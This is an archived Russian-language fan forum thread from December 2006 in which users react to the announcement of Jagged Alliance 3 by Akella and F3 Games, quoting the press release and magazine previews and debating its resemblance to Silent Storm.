A.I.M.(http://forum.ja2.su/cgi-bin/yabb/YaBB.pl)
Jagged Alliance 3 и другие приключения Шурика >> Jagged Alliance: Back in Action / Crossfire >> Jaggёd Alliancё 3
(Message started by: Docent на 09.12.2006 в 02:05:32)

Заголовок: Jaggёd Alliancё 3
Прислано пользователем Docent на 09.12.2006 в 02:05:32
Настала пора создать новую тему именно по Jagged Alliance 3 :)!

08.12.2006 года появился официальный анонс игры на сайте Акеллы ;)!
Jagged Alliance 3 (http://www.akella.com/ru/newsarchive/2006/12/08/ja3/)

Приведу текст анонса полностью:

Quote:
Компания "Акелла" при участии компании Strategy First и студии F3games объявляет о разработке проекта Jagged Alliance 3. Как ранее заявлял Ричард Террьен (Richard Therrien) - вице-президент Strategy First по креативным вопросам - долгожданная новая часть Jagged Alliance сохранит общий дух и атмосферу и останется верна традициям предыдущих игр знаменитой серии.

Jagged Alliance 3 - это:
  • Гибкая структура миссий, включающая в себя пять противоборствующих участников конфликта, на стороне 4-х из них можно принять участие в боевых действиях

  • Более 20 нелинейных сценарных миссий, проходящих при различных погодных условиях, в различное время суток

  • Значительное число генерируемых этапов, отличающихся уникальным стилем прохождения и сложностью

  • Захватывающая сюжетная линия

  • Неограниченная свобода тактических решений с возможностью разнообразить методы применения различных видов вооружений и экипировки в соответствии с поставленными задачами

  • Реалистичная система повреждений объектов и персонажей с возможностью прицельно попасть в любое место на теле противника

  • Уникальные тактические возможности для каждого персонажа

  • Классическая ролевая система, позволяющая игрокам набирать группу из 6-ти наемников различных национальностей, включая уже хорошо знакомых и полюбившихся персонажей из Jagged Alliance 1 и 2 (каждый персонаж обладает своим характером, историей, симпатиями и уникальным набором реплик)

  • Новый, полностью трехмерный игровой движок

Ждите подробностей о проекте в ближайшее время.


Сайт разработчика Jagged Alliance 3 компании "F3 Games" можно увидеть здесь:
"F3 Games" (http://www.f3games.com/)
Кроме объявления о вакансиях там пока ничего нет ;)!

Также некоторую информацию о проекте "Jagged Alliance 3" можно узнать на сайте DTF:
JA в руках "Акеллы" (http://www.dtf.ru/news/read.php?id=43525)

Quote:
Компания "Акелла" анонсировала разработку стратегии Jagged Alliance 3; работу ведет студия F3

Полный текст читать по ссылке ;).

И ещё...
Представитель компании F3 Games камрад a def на форуме AG.ru по Jagged Alliance сообщил буквально следующее:

Quote:
Обождите пару дней
Было бы очень приятно ответить на список вопросов по аналогии с тем, что выкатывают журналы при интервью.
Физически нет времени отслеживать форум.
Дайте список, вопросы "от фанатов" и т.п.
Ответим разом и временно закроем тему.
Работать же тоже надо.
В нашей компании нет (пока) Пиарщиков

ЗЫ
Форума на JA2.ru это тоже касается.  ^)


Таким образом, приступаем к подготовке вопросов по Jagged Alliance 3  ;).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 09.12.2006 в 02:51:32
В интернете уже появилось ещё несколько новостей о проекте Jagged Alliance 3, но практически все они являются перепечатками анонса игры на сайте Акеллы с небольшими комментариями ;).

В качестве примера можно привести новость на сайте журнала "Лучшие компьютерные игры":
Jagged Alliance 3: не GFI, так «Акелла» (http://www.lki.ru/gamenews.php?id=2698)
или новость на сайте techlabs:
Jagged Alliance 3 в разработке (http://techlabs.by/news/games/13457.html)

О даже примерной дате релиза Jagged Alliance 3 пока ничего не сообщается :(.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 09.12.2006 в 10:54:03
Вопросы к F3games (a_def):

- В анонсе на сайте Акеллы ничего не написанно про походовость игры - она сохранится (в каком виде) или нет?

- Что из себя представляют сценарные миссии, будут ли они ограниченны передвижениями на карте?

- Свобода перемещения по карте - будет или нет. Скриншот стратег. экрана крайне желателен.

- Чем отличается сценарная миссия от генерируемого этапа?

- на основе какого движка делается игра?


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 09.12.2006 в 11:14:39
>Более 20 нелинейных сценарных миссий, проходящих при различных погодных условиях, в различное время суток

То же, что и мисты делали. Т.е. будет Ja 3: UB

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 09.12.2006 в 11:23:10
навигатор игрового мира о JA3:
http://forums.gamenavigator.ru/viewtopic.php?t=13060

Заголовок: Re: Jagged Alliance 3
Прислано пользователем DJ-Glock на 09.12.2006 в 17:07:02
Товарисчи! А ведь дела кажись идут в гору! Джа3 будет! И делают его не Мисты!

Да мне из-за этого "вдруг очень захотелось жить!" (с)  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Keu_d_Cytue на 09.12.2006 в 18:43:40
Акелла сегодня - дыра. Они свою флагманскую серию умудрились засрать настолько, что еще долго не отмоются. Ох, боюсь я за ja3.
Отдали бы проект нивалу, вот тогда б я уже сейчас праздновать начал.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем D.Capone на 09.12.2006 в 18:53:42

Quote:
   * Более 20 нелинейных сценарных миссий, проходящих при различных погодных условиях, в различное время суток
   * Значительное число генерируемых этапов, отличающихся уникальным стилем прохождения и сложностью
   * Захватывающая сюжетная линия

Так, это Silent Storm
А это:

Quote:
  *Реалистичная система повреждений объектов и персонажей с возможностью прицельно попасть в любое место на теле противника

Е5
:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 09.12.2006 в 19:39:15
> Акелла сегодня - дыра. Они свою флагманскую серию умудрились засрать настолько, что еще долго не отмоются. Ох, боюсь я за ja3.  
Отдали бы проект нивалу, вот тогда б я уже сейчас праздновать начал.

Акелла выступает не разработчиком, а, скорее, издателем (может еще и координатором). А разрабатывает еще не до конца созданная команда, часть из которых выходцы из Нивала.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 09.12.2006 в 20:07:38
2Keu_d_Cytue:
Quote:
Отдали бы проект нивалу, вот тогда б я уже сейчас праздновать начал.

2D.Capone:
Quote:
Так, это Silent Storm


У меня сразу после прочтения анонса появилась мысль о явной схожести проекта Jagged Alliance 3 с "Операцией Silent Storm" от Нивала ;)!

Информация на форуме "Навигатора игрового мира" окончательно подтвердила эти догадки :).

Quote:
4. В конце ноября нанесли разработчикам визит. Был искренне рад и за разработчиков и за проект. В команде – ни одного новичка. Многих мужиков знаю еще по Nival`у пятилетней давности. Если эти не смогут, никто не сможет.


Самые серьёзные опасения у меня вызывает "помиссионная структура" прохождения кампании :(?

В своё время MIST land и Strategy First долго сваливали вину за "помиссионность" Jagged Alliance 3D друг на друга :P!
При этом постоянно отмечалась урезанность Jagged Alliance 3D, и утверждалось, что настоящая "свобода действий" будет ждать игроков в полноценной Jagged Alliance 3 ;)!

Информация, приведённая на форуме "Навигатора игрового мира" совершенно не убеждает в отсутствии "помиссионности" и наличии "свободы действий" ::)?

Quote:
2. Просьба не пугаться фразы "20 нелинейных сценарных миссий". Никто набор миссий вместо JA3 подсовывать не собирается. Это, по сути своей, 20 крупных сюжетных заданий. Ближайший адекватный аналог - захват тюрьмы в JA2 или уничтожение ПВО. Тоже сценарная, тоже миссия, тоже по игре без ее выполнения тяжело продвинуться.


Кроме того, следующая фраза:

Quote:
Классическая ролевая система, позволяющая игрокам набирать группу из 6-ти наемников различных национальностей..

заставляет задуматься о том, что все операции можно будет проводить только поочерёдно (последовательно во времени) и воевать только одним отрядом, что также сильно сужает возможности той же "Jagged Alliance 2 Агония Власти" :(!
Даже в "JA2 Цена Свободы" можно было разделять отряды и воевать порознь практически параллельно во времени :P!

Остаётся только ждать в свежий номер "Навигатора ИМ" (в продаже с 15-го декабря) и готовить список вопросов ;).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем DJ-Glock на 09.12.2006 в 20:32:35
2Docent:
Quote:
воевать порознь параллельно во времени
Ну не совсем параллельно ;) Но в общем - прав!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 09.12.2006 в 21:34:57
> Остаётся только ждать в свежий номер "Навигатора ИМ" (в продаже с 15-го декабря) и готовить список вопросов

Ничего конкретного и точного там не напишут. Если только ради этого покупать журнал - деньги на ветер.

У них команды целостной нет, а они уже будут расписывать как там всё будет шоколадно.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 09.12.2006 в 21:46:10

Quote:
Jagged Alliance 3
Более 20 нелинейных сценарных миссий, проходящих при различных погодных условиях, в различное время суток


Мда, оптимизма это не внушает, а скорее убавляет.

Quote:
Просьба не пугаться фразы "20 нелинейных сценарных миссий". Никто набор миссий вместо JA3 подсовывать не собирается. Это, по сути своей, 20 крупных сюжетных заданий. Ближайший адекватный аналог - захват тюрьмы в JA2 или уничтожение ПВО. Тоже сценарная, тоже миссия, тоже по игре без ее выполнения тяжело продвинуться.

Такое впечатление что писавший эту отмазку джа2 видел издалека на мониторе друга.
2DJ-Glock:
Смени подписи, зачем провоцировать грызню?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 09.12.2006 в 22:54:22
2Macbeth:
Quote:
Ничего конкретного и точного там не напишут. Если только ради этого покупать журнал - деньги на ветер.


Если верить информации на форуме "Навигатора игрового мира", то в свежем номере "Навигатора" нас ожидают:

Quote:
Превью-интервью на 4 полосы + небольшой комментарий Главного Разработчика из секретного бункера в «Видеонавигаторе».


Но сам я из-за этого покупать журнал тоже не буду ;).
Поэтому просьба заранее к тем, кто почитывает это издание - поделиться информацией в этой ветке о том, что ещё нового будет там рассказано о Jagged Alliance 3 ;)?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 10.12.2006 в 13:55:25
All:

Появилась некоторая информация о компании F3 на сайте DTF ;)!
Информация о компании F3 (http://www.dtf.ru/company/info.php?id=532)

Процитирую только дополнительную информацию:

Quote:
сайт - http://www.f3games.com

Компания основана в начале 2006 года, людьми, участвовавшими в наиболее известных проектах отечественной, игровой индустрии, компаний Nival Interactive, Akella, G5 Software, Орион и некоторых других. Большая часть команды (до 90% состава) хорошо знакома отечественным геймерам по таким проектам компании G5 Software, как "Карибский Кризис", "Карибский кризис: Ледниковый поход" и "Метро-2". В настоящее время компания ведет разработку проекта "Jagged Alliance 3", а так же рядда неанонсированных проектов.


На форуме "Навигатора Игрового Мира" появились ответы на некоторые интересующие нас вопросы от камрада SledgeHammer, который уже видел зачатки JA 3 от F3games ;).
Полный перечень ответов смотреть по ссылке:
Jagged Alliance 3 на форуме "НИМ" (http://forums.gamenavigator.ru/viewtopic.php?t=13060)  

Про модифицированный движок от "Операции Silent Storm":

Quote:
При всем том, что движок переработан капитально,
(например, вода на картах появится - со всеми тактическими последствиями),
избежать сравнений с СШ вряд ли получится.
На мой взгляд, важно, что разработчики изменили масштаб:
ушли от крупных фигурок Silent Storm`а к более миниатюрным,
сравнимым по размеру с бойцами из JA2.
P.S. А те скриншоты, на которых бойцы вблизи - снимали специально для журнала,
в самой игре камеру хоть и можно будет подвигать,
но рабочее ее положение - над полем боя, а не за плечом у наемника.


Про пошаговые бои:

Quote:
Самые пошаговые по эту сторону дедлайна!
Пошаговей только шахматы!


Про графику и разрушаемость объектов:

Quote:
Все замечательно.
Крошили ребят, прятавшихся за глинобитной стеной вместе со стеной.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 10.12.2006 в 17:54:28
оттуда же:


Quote:
Глобальную карту видел. Глобальная карта разбита на сектора.
На глобальной карте отображаются сектора влияния той или иной группировки.
Кликал в глобальную карту мышкой, пока мышку не отобрали. Глобальная карта славная.



Quote:
Тень - любимый персонаж главразработчика Александра Валенсия-Кампо,
так что есть такой маленький, совсем крошечный шанс, что может Тень и будет.


Щастье замаячило на горизонте  :D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 10.12.2006 в 18:11:27
2Bolivar:

Первая цитата из твоего поста относится к JA2 и никакого отношения к Jagged Alliance 3 не имеет ;)!

А вообще некоторые сведения от камрада SledgeHammer
на форуме "Навигатора ИМ" почитать конечно стоит :)!

Jagged Alliance 3 на форуме "НИМ" (http://forums.gamenavigator.ru/viewtopic.php?t=13060)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 10.12.2006 в 18:18:00
2Docent:

on 1165767087, Docent wrote:
2Bolivar:

Первая цитата из твоего поста относится к JA2 и никакого отношения к Jagged Alliance 3 не имеет ;)!


Там как-то неоднозначно сказанно...
На всякий случай из поста убрал

Заголовок: Re: Jagged Alliance 3
Прислано пользователем L A X на 10.12.2006 в 23:50:38
Чет не пойму, а дата выхода извесна? :confus:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 11.12.2006 в 01:04:02
2L A X:

Quote:
Чет не пойму, а дата выхода извесна?


На карточке игры Jagged Alliance 3 в базе игр GEO на сайте AG.ru значится следующее:

Quote:
Статус: в разработке, запланирована на 2007 год

Jagged Alliance 3 (http://www.ag.ru/games/jagged_alliance_3)

Более точной информации пока нет :(.
Возможно, что какая-то более свежая информация появится в журнале "Навигатор Игрового Мира", который поступит в продажу 15 декабря 2007 года. В этом номере будет:

Quote:
Превью-интервью на 4 полосы + небольшой комментарий Главного Разработчика из секретного бункера в «Видеонавигаторе».

Заголовок: Re: Jagged Alliance 3
Прислано пользователем sssvoloch на 11.12.2006 в 17:48:23
>>>который поступит в продажу 15 декабря 2007 года.

Чуть поправлю - 15 декабря 2006-го года.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем L A X на 11.12.2006 в 18:24:02
2sssvoloch: Да ладно, через 4 дня???

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 11.12.2006 в 19:10:56

on 1165854242, L A X wrote:
2sssvoloch: Да ладно, через 4 дня???


Журнал поступит в продажу. Да  ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 14.12.2006 в 23:48:35
All:
Ещё одно маленькое дополнение к новостям о проекте JA 3 с форума "Навигатора ИМ" ;).

Вопрос: И последний вопрос, какая та ролевая система будет, как в SS или JA ?
Ответ:
2SledgeHammer:
Quote:
Мы, разумеется, тоже задали этот вопрос F3.
За образец разработчики взяли ролевую систему Jagged Alliance 2.
Считаю, сделали совершенно верно.
Незачем изобретать велосипед там, где уже изобрели "Бентли".

Кстати, уже сегодня (15.12.06) должен поступить в продажу свежий номер журнала "Навигатор Игрового Мира" с новостями о проекте Jagged Alliance 3 ;)!
Кто узнает что-либо интересное об игре, просьба поделится новостями :)!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 18.12.2006 в 20:37:49
All:
В ожидании свежего номера "Навигатора ИМ", который должен поступить в продажу завтра - 19.12.06 г. приведу ещё пару цитат в допополнение к новостям о проекте JA 3 с форума "Навигатора ИМ" ;).

Вопрос: Странно,глобальная на сектора,но при этом жестко регламентировано,что 20 миссий...непонятно...

Ответ:
2SledgeHammer:  
Quote:
На мой скромный взгляд,
не совсем правильно было в пресс-релизе использовать слово «миссии».
Фанаты переполошились, потому что сразу возникают ассоциации
с жестко заданной последовательностью боев.
Под «миссиями» подразумевается какая-то важная задача,
которую перед нами ставит наниматель.
Может и выполнять ее необязательно будет
(но очень полезно для бюджета и арсенала).
С ПВО из JA2 пример хороший.
Не хочешь заморачиваться с ПВО – ради бога, но и про вертолет забудь.


Вопрос: Эх, а с деньгами-то как? Опять сок выжимать из берез и недра чьей-то Родины продавать ради ежедневной зарплаты наймитам капитала?

Ответ:
2SledgeHammer:
Quote:
Прежде всего, финансирование со стороны нанимателей, оружием можно приторговывать на черном рынке (но особенно, насколько я понял, не наторгуешь),
за выполнение «миссий» этих самых бонусы начальство подбрасывает,
ну и возможность на стороне халтурку какую подхватить никто не исключает.

А вообще - свежий нумер он уже вот, завтра в продаже.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 18.12.2006 в 22:03:20

Quote:
В ожидании свежего номера "Навигатора ИМ",

- это такие цветные глянцевые листочки бумаги внутри прозрачного пакетика? И там же обычно круглый кусочек пластмассы с дыркой посередине?  ::)
Скока такое удовольствие может стоить? Имеются ввиду божеские цены в мск.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 18.12.2006 в 23:11:35
У нас в электричках на киевском направлении по полтиннику продают  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 19.12.2006 в 08:14:47

Quote:
У нас в электричках на киевском направлении по полтиннику продают  :)


по полтиннику идут журналки 2-3-х месячной давности...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Susami на 20.12.2006 в 11:44:55
2Bolivar:
Ну, где-то около 180 рублей.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 20.12.2006 в 12:57:46
Хм... неужели никто еще не видел статью?

Любопытствуйте, краткие заметки свидетеля: (с поста 82)
http://forums.ag.ru/?board=fl_ja&action=display&s=0&num=1158070005&start=60

Цитата дня! "...основные изменения - удерживание городов и тренировка ополчения полетели в топку, основание - "многим игрокам не нравиться избыток микроменеджмента" (конец цитаты).

... избыток?
"Улыбаемся и машем, парни... улыбаемся и машем!" (с)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем colonel Kilgore на 20.12.2006 в 13:21:58
2SSSVOLOCH:

Фуууууууу Надо же вот так все взять и слить! :unitaz: :splat:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 20.12.2006 в 13:39:00
Не понимаю энтузиазма. Игра выйдет минимум через год, потора, два, тогда можно будет и обсуждать. Пока разработчики только начали работать это перпеливание изщ пустого в порожнее.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем colonel Kilgore на 20.12.2006 в 13:48:12
2Strax5:  А я думаю, что все-таки надо поорать, чтобы те, великие создатели, прислушивались к мнению фанатов.  ;)
А то что за фигня, в самом деле, "микроменеджмента избыток"?! Даже еслиб они сделали риалтайм - это не так испортило бы игру, как упрощение микроменеджмента!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 20.12.2006 в 14:09:26
Ну одно хорошо, что когда выйдет "ДЖАЗ:Работа по найму", и разработчики  "JA 3"  увидят её, то наверняка захотят сделать свою игру лучше  ::)  

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 20.12.2006 в 14:19:29
2Strax5:
Игра планируется к выходу в течение 2007-го года. То есть меньше года осталось на разработку вообще, а на планирование геймплея - и того меньше (если не кончилось).
Так что орать бесполезно:).

2Ximik: А пусть делают лучше, кто ж против. Там еще после "ДЖАЗа" выйдет "7,62"...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Eug на 20.12.2006 в 16:38:52
Народ, кому-нибудь интересно что там в статье?
Прикупил тут в переходе сабж (тут кто-то спрашивал - 160р стоит). Могу поделиться.
Сори за качество,  так как на работе ни цветного сканера, ни Файн Ридера нету. Но весь текст вроде понятен.
Держите:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Eug на 20.12.2006 в 16:39:08
Страница 2

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Eug на 20.12.2006 в 16:39:25
Страница 3

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Eug на 20.12.2006 в 16:39:43
Страница 4

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Eug на 20.12.2006 в 16:40:00
И наконец, страница 5.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 20.12.2006 в 23:04:22
2Strax5:
Quote:
Не понимаю энтузиазма. Игра выйдет минимум через год, потора, два, тогда можно будет и обсуждать. Пока разработчики только начали работать это перпеливание из пустого в порожнее.


1. Работы над игрой идут уже не менее полугода ;)!
2. Движок "Silent Storm" уже основательно переработан, если верить геймдизайнеру из F3, то "..от исходного кода осталось не более половины, а в перспективе и того меньше будет".
3. Дата выхода игры "Jagged Alliance 3" обозначена IV квартал 2007 года ;)!
4. О работах над игрой стало известно совсем недавно, официальный анонс игры появился 08.12.2006 года.

Таким образом, именно сейчас самое время обсуждать игру, если хотим хоть как-то повлиять на её разработку ;)! Боюсь, что через полгода уже будет поздно :(.

А то, что о нашем форуме в F3 знают и к мнению форумчан прислушиваются говорит даже такой факт, что представитель студии F3 упоминает наш форум даже в своих постах на других форумах ;)!
2a def :
Quote:
ЗЫ
Форума на JA2.ru это тоже касается.  ^)


См. первый пост в теме.


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 20.12.2006 в 23:48:49

Quote:
Таким образом, именно сейчас самое время обсуждать игру... А то, что о нашем форуме в F3 знают и к мнению форумчан прислушиваются...

Лучше бы, наверное, писать об этом на форуме Strategy First, т.к. она должна полностью контролировать разработку игры. И запостить список из конкретных пунктов на имя Ричарда Террьена и за ним список подписей каждым новым постом, выкатить им километровый "список протеста" от российских геймеров. А там глядишь и представители западного рынка разберутся что к чему и присоединятся...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 21.12.2006 в 00:03:46
2Bolivar:
Ха-Ха, для Strategy First страны СНГ не являются значимым рынком сбыта, как следствие Ричарду Террьену и Strategy First глубоко плевать на мнение фанов данной группы стран, "это бизнес, ничего личного"

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 21.12.2006 в 19:44:15
2zed:
Вот пусть и сказали бы это прямо на своем форуме, хотел бы я это увидеть.
Кстати, чем отличаются  фаны "данной группы стран" от прочих? У нас разные ожидания по-поводу JA3?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Eug на 21.12.2006 в 19:47:07
2Bolivar:
У нас разные представления о том, сколько должен стоить бокс с готовой игрой  :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 21.12.2006 в 19:58:34
Вдогонку к тексту интервью: фотки-скрины

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 21.12.2006 в 19:59:32
фото,
смущает анимация выстрела одновременно у двух сторон - и это в пошаговой игре  ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 21.12.2006 в 19:59:47
фото

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 21.12.2006 в 19:59:58
фото

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 21.12.2006 в 20:00:12
фото

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 21.12.2006 в 20:00:27
фото

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 21.12.2006 в 20:00:41
фото

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 21.12.2006 в 21:18:38
2Bolivar:
Западные издатели никогда официально так не скажут, имиджу повредит :) но дела обстоят именно так. Можно давить на жалость F3 но они делают то что им сказано и самовольно чтото поменять не особо способны.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 21.12.2006 в 22:43:09
2zed:
Quote:
Западные издатели никогда официально так не скажут, имиджу повредит  но дела обстоят именно так. Можно давить на жалость F3 но они делают то что им сказано и самовольно чтото поменять не особо способны.


На мой вгляд, такой игрой, какой сейчас предстаёт Jagged Alliance 3 из статьи в "Навигаторе ИМ"  и западные поклонники JA тоже будут весьма недовольны ;)!
А уж к западным поклонникам игры, как к потенциальным покупателям, SF относится весьма бережно ;D!

Мне кажется, что SF ещё предстоит пережить нехилое давление, как со стороны наших поклонников (на которое им, может быть, и наплевать :(), так и со стороны западных потенциальных покупателей, на которых SF, при всём желании, уже наплевать не смогут ;).

Посмотрите, какое давление сейчас оказывается со стороны поклонников игры Disciples 3 на SF ;)! Разработчики игры (компания ".dat") уже вынуждены были отказаться от многих непродуманных новых фич, заявленных в официальном пресс-релизе игры :P!

Если мнение потенциальных игроков будет не только массовым, но и  единодушным, то давление на SF вполне может возыметь своё действие ;)!

Возможно, что нам тоже стоит организовать голосование на форуме по основным ключевым фичам Jagged Alliance 3, как, например, на официальном форуме Disciples 3 ::)?

http://www.disciples3.ru/forum/showthread.php?t=490

Что скажете по этому поводу ::)?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 22.12.2006 в 08:03:29
2zed: 2Docent:
"давить на жалость" и голосовать надо на форуме SF, все остальное бессмысленно. И вместе с западными геймерами, а не как "фракция из России"

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Michigan на 22.12.2006 в 08:04:49
2Bolivar:
Quote:
смущает анимация выстрела одновременно у двух сторон - и это в пошаговой игре  

Потому как это ещё имхо SS с переделанными текстурами...
Даже скриншот могу найти такой же...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 22.12.2006 в 08:04:57
фотки из обзора самых ожидаемых стратегий 2007 г.
(ДжаЗ в списке не присутствует...)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 22.12.2006 в 08:05:59
хотя... может быть и не оттуда  ::)

ЗЫ Точно не отуда! Это все еще статья  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Michigan на 22.12.2006 в 08:08:59
Прикалывало видать кого-то безымянным персам АИМные ники приписывать...
А что у низ руки такие большие? Всё цивьё обхватывают...  :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 22.12.2006 в 08:12:50
2Michigan:
А Тень - с бодитайпом Анаболика нравится?  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Michigan на 22.12.2006 в 08:15:05
Ну собстно, а то что я говорил - я не нашел, но похожие скрины есть. Сравните:
http://www.ag.ru/screenshots/silent_storm_sentinels/84492
и
http://forum.ja2.spb.ru/Attach/Images/02-6.jpg

Воистину здесь вам не Ja2 -  здесь реал-тайм... :umnik:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 22.12.2006 в 12:02:15
Прочитал статью. Больше всего удивила фраза, про несовместимость пошаговости и использования тяжелой техники.

- Очень даже совместимы. В NO и SJ очень хорошо себя техника показала. Если модеры доработают вертолеты, то будут и вертолеты.

Изменений очень много, поэтому авторам неплохо было бы сначала выложить демку, чтобы потом не было мучительно жалко денег, потраченных на исправление уже казалось бы почти готового продукта.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Eug на 22.12.2006 в 12:07:49
2Strax5:

Quote:
неплохо было бы сначала выложить демку

Уже выложили, называется Сайлент Сторм  ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 22.12.2006 в 15:32:24
2Strax5:
Quote:
Если модеры доработают вертолеты
модеры или моддеры? ;) это немного разные категории людей ;D.

Почитал сегодня свежий Нави. Обратил внимание, что на всех приведенных там скринах ни намека на тактический интерфейс. То ли он еще не готов, то ли там что-то настолько ррреволюционное, что это от нас усиленно прячут.

Пресловутые "20 сюжетных заданий" ну очень напоминают СС :(. Это уже смахивает не на "Джагу на движке СС", а на "СС в сеттинге Джаги". Что не есть гут.

И еще на скринах все персы кажутся совершенно одинаковыми. То есть экипировка, которая на них отображается - это хорошо, конечно... но вот полная неразличимость - это плохо.
Хочу разноцветные маечки :(. Пусть даже они будут выглядывать из-под бронежилетов.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 22.12.2006 в 18:22:24
>ну очень напоминают СС

Не без этого...

Остальные описанные претензии на данный момент несущественны.

Ключевой момент - размер локаций. Если разрабы позволят себе сделать их меньшими, чем в оригинале - джайцы сожрут их живьем.
По скринам этого пока не видно. Но они как будто нарочно такие мелкие. Подозрительно... :spy:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем DJ-Glock на 22.12.2006 в 18:26:49
2Macbeth:
Quote:
Если разрабы позволят себе сделать их меньшими, чем в оригинале - джайцы сожрут их живьем.
мда! :cheeburga:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Keu_d_Cytue на 22.12.2006 в 20:35:28
Лично буду косточки догладывать. Еще в джа2 раздражал довольно мелкий радиус боевок, а уж в СС...

У игры офсайта еще не появилось?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 22.12.2006 в 20:42:02
По поводу генерящихся локаций могу сказать следующее. Тот, кто в JA2 воюет исключительно в городах - многое теряет. В боях в болотах, рощах, голой пустыне есть своя прелесть. Когда "ни шагу назад" (скоростники меня поймут) в этом есть своя прелесть.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 23.12.2006 в 00:01:07
2Ushwood:
Quote:
Пресловутые "20 сюжетных заданий" ну очень напоминают СС . Это уже смахивает не на "Джагу на движке СС", а на "СС в сеттинге Джаги". Что не есть гут.


"СС в сеттинге Джаги" - прямо в точку попал ;)!
Тоже не могу отделаться от впечатления, что описанная в журнале "НИМ" - Jagged Alliance 3 представляет собой аддон к "Операции Silent Storm" по мотивам JA :(!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 23.12.2006 в 02:03:34

on 1166768105, Michigan wrote:
Воистину здесь вам не Ja2 -  здесь реал-тайм... :umnik:

Ну что Вы в самом деле. Просто оба стреляющих юнита принадлежат одному игроку. Отсюда и реалтайм. Для оживляжа скриншота сделано.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 23.12.2006 в 03:15:16
2Novik:
Ох чую я что вы имеете отношение к F3 .... ну да ладно, сказали не правда значит не правда  ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 23.12.2006 в 11:21:29
2zed:
Такие постановочные сцены были в анонсах и рекламе еще со времен выпуска первой SS. Там бойцы одновременно стреляли друг в друга. В игре такого не было.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 23.12.2006 в 11:43:21

on 1166812528, Keu_d_Cytue wrote:
...У игры офсайта еще не появилось?


Официальный сайт игры и форум в ближайшее время обещяет некто heavy с АГ, сам он лишь "лицо приближенное к разработчикам"...

Форум Акеллы (http://www.akella.com/forum) функционирует, правда никакой инфы о JA3 нет


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 23.12.2006 в 13:30:03

on 1166836516, zed wrote:
2Novik:
Ох чую я что вы имеете отношение к F3 ....

Нет, никакого отношения не имею. Ездил к ним по весне (по другому поводу), беседовал про всякое за рюмкой пива. Какой-либо информации о проекте сверх уже опубликованной не имею.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 23.12.2006 в 13:47:18
2Novik:
